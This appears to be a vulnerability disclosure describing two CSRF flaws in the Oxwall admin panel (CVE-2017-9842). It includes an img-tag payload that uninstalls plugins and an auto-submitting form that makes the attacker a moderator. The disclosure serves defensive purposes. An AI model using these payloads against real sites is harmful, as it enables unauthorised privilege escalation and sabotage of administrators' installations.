Admin panel of Oxwall has some series of vulnerabilities. We will explain the two important ones that we discovered.
1) Removing and installing plugins
Admin has access to remove or install plugin to create a better experience of the user. Both requests either to remove or install plugin is done through a GET request. This request does not verify how the call is made.
Prerequisite for this attack is the admin must be logged into the site. Once that is done, you can send them a link that has a HTML code like following: <img src="[oxwall_url]/lab1/admin/plugins/uninstall/key/[plugin_name]/">
What this does is that, in the attacker's website, img src things it is a image so it tries to fetch it. While doing that, it sends a GET request. If the admin is logged in, this GET request instead will delete the installed plugin.
Same thing happens with installing plugin as well.
Another one:Attacker can add themselves as moderator
Admin has right to change a roll of a user and make them a moderator. This request is a POST request and looks sth like this:
POST /lab1/admin/permissions/add-moderator/ HTTP/1.1
Host: [redacted]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: [redacted]
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
Cookie: __test=[redacted]; f28f354131a7769ac167eb81af76baf4=[redacted]; base_language_id=1; adminToken=[redacted]; ow_login=[redacted]
Connection: close
Upgrade-Insecure-Requests: 1username=[user's username]
This can result in a CSRF attack. Through an external website, following code can be made:
<form name="addmoderator" action="[oxwallurl]/lab1/admin/permissions/add-moderator/" method="post">
<input type="hidden" name="username" value="[attacker's username]">
</form>
<script>
window.onload = function(){
document.forms['addmoderator'].submit()
</script>
When the admin visits the website, attacker's account is now given Moderator access.CSRF token is a must in this case.
CVE assigned for this: CVE-2017-9842 this morning.
It is recommended that a fix is added as soon as possible and pushed out to all the users.
